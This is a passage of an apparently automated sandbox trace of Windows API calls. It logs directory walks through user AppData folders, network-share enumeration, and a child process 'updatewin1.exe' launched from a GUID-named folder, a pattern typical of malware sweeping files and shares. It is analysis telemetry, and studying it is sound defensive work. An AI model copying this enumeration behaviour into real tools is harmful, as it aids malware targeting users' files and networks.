ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.499] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.499] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.499] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.499] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.499] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.499] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\") returned="nrw\\" [0062.499] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0062.499] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0062.499] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0062.499] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0062.499] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.499] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.499] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.499] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.500] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.500] PathFindFileNameW (pszPath="") returned="" [0062.500] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.500] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.500] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.500] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.500] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.500] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.500] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\") returned="prt\\" [0062.500] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0062.500] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0062.500] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0062.500] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0062.500] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.501] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.501] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.501] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.501] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.501] PathFindFileNameW (pszPath="") returned="" [0062.501] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.501] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.501] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.501] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.501] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.501] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.501] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\") returned="spn\\" [0062.501] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0062.501] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0062.501] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0062.502] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0062.502] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.502] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.502] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.502] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.502] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.502] PathFindFileNameW (pszPath="") returned="" [0062.502] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.502] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.502] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.502] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.502] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.502] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.502] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\") returned="swd\\" [0062.503] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0062.503] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0062.503] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0062.503] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0062.503] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.503] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.503] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.503] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.503] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.503] PathFindFileNameW (pszPath="") returned="" [0062.503] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.503] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.503] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.503] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.503] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.503] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.504] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\") returned="si\\" [0062.504] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="tmp\\" [0062.504] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0062.504] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0062.504] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0062.504] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.504] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.504] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.504] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.504] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.504] PathFindFileNameW (pszPath="") returned="" [0062.504] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.504] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.504] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.504] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.505] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.505] SendMessageW (hWnd=0x701b0, Msg=0x8003, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 46 os_tid = 0x4a4 [0046.181] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x9befee0 | out: lphEnum=0x9befee0*=0x30f11f0) returned 0x0 [0046.758] WNetEnumResourceW (in: hEnum=0x30f11f0, lpcCount=0x9befedc, lpBuffer=0x31030a8, lpBufferSize=0x9befed8 | out: lpcCount=0x9befedc, lpBuffer=0x31030a8, lpBufferSize=0x9befed8) returned 0x0 [0046.758] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30fed28 [0046.758] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30fed70 [0046.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d4b0 [0046.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30fedb8 [0046.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30fee00 [0046.759] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x31030a8, lphEnum=0x9befe28 | out: lphEnum=0x9befe28*=0x3033148) returned 0x0 [0047.228] WNetEnumResourceW (in: hEnum=0x3033148, lpcCount=0x9befe24, lpBuffer=0x310ef48, lpBufferSize=0x9befe20 | out: lpcCount=0x9befe24, lpBuffer=0x310ef48, lpBufferSize=0x9befe20) returned 0x103 [0047.228] WNetCloseEnum (hEnum=0x3033148) returned 0x0 [0047.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fed70 | out: hHeap=0x670000) returned 1 [0047.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fed28 | out: hHeap=0x670000) returned 1 [0047.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30fed28 [0047.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30fed70 [0047.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e1f70 [0047.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30feed8 [0047.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30fece0 [0047.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fee00 | out: hHeap=0x670000) returned 1 [0047.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fedb8 | out: hHeap=0x670000) returned 1 [0047.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d4b0 | out: hHeap=0x670000) returned 1 [0047.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30fedb8 [0047.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30fee00 [0047.229] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x31030c8, lphEnum=0x9befe28 | out: lphEnum=0x9befe28*=0x9befe44) returned 0x4b8 [0062.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fed70 | out: hHeap=0x670000) returned 1 [0062.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fed28 | out: hHeap=0x670000) returned 1 [0062.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0062.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0062.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x150) returned 0x2fd6e70 [0062.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30fed28 [0062.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30fed70 [0062.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30ff4c0 [0062.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30ff508 [0062.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fece0 | out: hHeap=0x670000) returned 1 [0062.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30feed8 | out: hHeap=0x670000) returned 1 [0062.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fee00 | out: hHeap=0x670000) returned 1 [0062.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fedb8 | out: hHeap=0x670000) returned 1 [0062.516] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e1f70 | out: hHeap=0x670000) returned 1 [0062.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4908 [0062.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d48d0 [0062.516] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x31030e8, lphEnum=0x9befe28 | out: lphEnum=0x9befe28*=0x9befe44) returned 0x4c6 [0062.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.520] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0062.520] WNetEnumResourceW (in: hEnum=0x30f11f0, lpcCount=0x9befedc, lpBuffer=0x31030a8, lpBufferSize=0x9befed8 | out: lpcCount=0x9befedc, lpBuffer=0x31030a8, lpBufferSize=0x9befed8) returned 0x103 [0062.520] WNetCloseEnum (hEnum=0x30f11f0) returned 0x0 [0062.520] SendMessageW (hWnd=0x701b0, Msg=0x8004, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 47 os_tid = 0x7cc Process: id = "6" image_name = "updatewin1.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe" page_root = "0x1f800000" os_pid = "0x7a8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x714" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 48 os_tid = 0x59c [0047.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xd76a350, 